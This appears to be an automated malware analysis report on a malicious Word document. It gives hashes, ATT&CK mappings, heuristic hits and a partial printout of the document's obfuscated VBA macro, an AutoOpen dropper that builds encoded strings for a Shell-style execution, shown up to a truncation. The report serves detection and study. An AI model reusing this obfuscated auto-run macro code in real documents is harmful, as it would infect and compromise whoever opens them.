Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25eec5ca8ffe1bef…

MALICIOUS

Office (OLE)

73.5 KB Created: 2017-10-18 05:59:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: d924fcb811e3b7aac8a078137c503035 SHA-1: 1e3df4c8d99274af71faf6a7f494adac1b2c17a1 SHA-256: 25eec5ca8ffe1befcb946df90efac6de4e8d95ec1c1eccbc08a6d841d2df90f4
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses a Shell() call, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads. The ClamAV detection and heuristic firings strongly suggest malicious intent.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11943 bytes
SHA-256: 5b237a2113c08b1b05f69c84065fc1d816a79b346a0c1c9b79387f3f27cdb071
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 35 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function CWFRalUzo()
fdfIdtZ = "8Y8AHA6YQQ7VRI4CzqAYlcKZVMlUUuAksVrvjGG5SO5GXAPLDU7TYSCRQV"
wzVjHYuqmqn = Mid(fdfIdtZ, 17, 23)
dZjiSQ = wzVjHYuqmqn
NAGNBiqG = "QAT9FqYFiffcbJpiVPaKjXqVlNWEAOwsqBfUzBJZfibSvzdEsAbMSQjIbbhsTUFTimmaiVhUGBiAvYZljSLznkaaUWtWTQFLdHkINDaXTHGRljNDBwJAJGjzMMGHcKApvTXonRYjsnfjiIonJpVXHECXbmwAzSvIGQWSIYPkXdIVaASDXSzmpdhqRANBUXjZsWZNmVilakAiwjzaUsciVYVTM0KXLUEC3IVI"
zqMdOlOOKbX = Mid(NAGNBiqG, 5, 209)
GjGQzQGbTR = zqMdOlOOKbX
imiCFl = "TJWFrqHPiWmHJnLRwIsVMjYEJUEzRdbPAMRnNjjtKCjrcmCfomljVKBoMXSXmJwEvXGwVYEObwLKzhcXSYJisvuqLdapRJHADivFfFKPiWEWwqofvvFNz4X3NFEIEC"
kGUAwDRk = Mid(imiCFl, 5, 113)
ZfkvjPdls = kGUAwDRk
MTqJrnd = "8ApiJJiXuIzWiUTpsinkuKRwsNSlTWHPYqjwOSMGftMrcljNosTSBLFQjsmvqsDXAhznlXbZRhEBzZUGhEzbDpONkTNVjRPnpprvnscRRtBUGESJYjR5MUINA1Z"
GHIAUhER = Mid(MTqJrnd, 2, 113)
OIzJEkwd = GHIAUhER
crOLOnMDqS = "7zXTYzBDNnEcLPTwKZQSZdtCDzCzldCZWrkCBREMYRzzQsjkQvLRiNjcEVQYvDSkkfGUfQvtVDuIivmKQRhpRluIKHwjAfRUwPNklOE7M97TLECBH64AOX596IVXZ9EQ9OVBYP55E1"
rJqZWBPWEM = Mid(crOLOnMDqS, 2, 102)
FqBLhK = rJqZWBPWEM
HBZuiWrw = "GGDKON6GVEHWB5CV9UMAdPlszOzSrKHUlWrMOtvVqXsUouuWEtBiSvbQURRUZmioiUtYEswFZrJFXQECUbOzJZCpvbszbbvEtDmTBWSLuvJamWsDNOzwYhiJSDdczBdzwEMTikBwICCOPbDZipjNbwjMZcBztpLsRLihJYZcNBpViQtqADuKSQWzYAuCiEETrJwEzWPJQHzZHKiIiLwpvAa3BJMAS4Z0FDNSJMCFU"
JaNjlNopj = Mid(HBZuiWrw, 18, 198)
fqGhwtUVU = JaNjlNopj
bmkkBT = "PCLHOMO1MniJPNjjXvisuncGJKnZMlNjSXTjqmaAVLFCKsGshrNZQvdDTNjfhRQWZvqstzskUhXihavRDurUXoSWuQQdGuTEujcPCOwhzdEiYuWsSPcmZwwlcTzdjPiZOTnzwfOowJVujkwztXLqSjiwlqniQUwkzfTFGYumAnqPaEBrVwjLEnGiopMHsjYbLluEQttVdYqfpOYjovNSkmfMYlQRLntUPPEoJzacFOifzbsaQfSwT23LGOC3292U"
AKAXjHRJ = Mid(bmkkBT, 10, 236)
EdQUPEDzR = AKAXjHRJ
TZHsrzln = "AMWGOmvcTKTkCRKFtzRQLIiZTobfKJouGjBDzzCdsNVjbDpKHLABCpsJbwMaKPRKWZdWQHHtwoYwmCzQwQYwJmrQorbwncScvLJCZTtADGEORtWZBwcurTAjhMiZfJGUVvCbsvqiWXuCidzuUCTKKEDUX4F8"
vYzwWikTt = Mid(TZHsrzln, 5, 142)
bfiEs = vYzwWikTt
UOLtwGuaYl = "4C5UKEO8RAAH1W38WXWAXGOMYCJTdjfBILOPzuicDaEQCnMMFdCukCmhbuEEjDwiHUVZMVAkNEtAPcaqJwOAjlRGZhnEpitzdaJhRmzkcSjjImRzUNumpwwWDPAfhwujKuWpStZWziXOElzmPnkbjGJhcniBlUCjXzVOQcjaoYpLYjRRSNPtLTzEkoNfOXkcbIRY"
ImEsucm = Mid(UOLtwGuaYl, 27, 167)
ziEmfm = ImEsucm
EdQUPEDzR GjGQzQGbTR + ziEmfm + ZfkvjPdls + fqGhwtUVU + OIzJEkwd + bfiEs + dZjiSQ + FqBLhK, 0
End Function
Function qnWiiHuKf()
ilpFHZn = "9JGPDcAOgA4ADMAVQA5ADkAJQAxADEANABjADEAMAA1AGMAMQAxADIAJQAxADEANgBpADQANgBpADgAMwBpADEAMAA0AGMAMQAwADEAewAxADAAOAAlADEAMAA4ADoANQA5ADoAMwA2ACEAMQAxADkAIQAFYAS15AM0K9RDUMRXS7YVDEDYA89FE"
tdnDH = Mid(ilpFHZn, 5, 150)
VnIjvU = tdnDH
zwrQttFDw = "9U6BIGCT7OCE5MN6PWDAzADYAVQAxADEAMgBoADkANwB7ADEAMQA2AHsAMQAwADQAVQAzADIAVQA2ADEAJQAzADIAUwAzADYAaQAxADAAMQBpADEAMQAwAGgAMQAxADgAewA1AD236BDTSD8SC97"
SqJduYjwZVL = Mid(zwrQttFDw, 20, 116)
DHSKLHRTFE = SqJduYjwZVL
cWItkwjhzl = "RLRYTxAG0AMQAxADIAVQAxADEANgB7ADEAMAA1AGMAMQAxADEAJQAxADEAMAA6ADQANgBoADcANwBpADEAMAAxACAUR519Q4WSZN"
qNbtvQCc = Mid(cWItkwjhzl, 6, 82)
wcntOk = qNbtvQCc
TLWfDO = "HI73CICI4XMQAxADIAIQAxADAAOAAlADEAMAA1AFUAMQAxADYAYwA0ADAAaAAzADkAUwA0ADQAaAAzADkAIQA0ADEAIQA1ADkAaQAzADYAOgAxADEAMABpADkANwBTADEAMAA5AGMAMQAwADEAaAAzADIAVQA2ADEAaAAzADIAJQAzADYAUwAxADEANABtADkANwAhADEPAZ7CKBBKQTD945KU20ETO"
ozWfPSEAhBb = Mid(TLWfDO, 11, 191)
aiPaMwI = ozWfPSEAhBb
YjtwO = "EZT8XADkAaQAxADAAMQBTADMAMgBjADQAMwA6ADMAMgBpADMAOQBjADQANgA6ADEAMAAxAFMAMQAyADAAaQAxADAAMQAlADMAOQBoADUAOQA6ADEAMAAyAGMAMQAxADEAVQAxADEANABoADEAMAAxAHsAOQA3ACUAOQA5ADoAMQAwADA0Y6UR7KP"
ShnOZcElJiu = Mid(YjtwO, 6, 170)
hBpMY = ShnOZcElJiu
cOLLKQivc = "N42VIKXIK3ADYAOgAzADIAYwA4ALS14FCSKJBED8U8J"
naiIJq = Mid(cOLLKQivc, 11, 17)
jjkLJjMqj = naiIJq
ELrNjs = "YP30X75Z1CQJ58JWxADAAMQBjADkAOABtADkAOQBoADEAMAA4ACUAMQAwADUAJQAxADAAMQAlADEAMQAwACUAMQAxADYAbQAHL"
STizUiBfJ = Mid(ELrNjs, 17, 80)
SRfjUF = STizUiBfJ
TVw
... (truncated)

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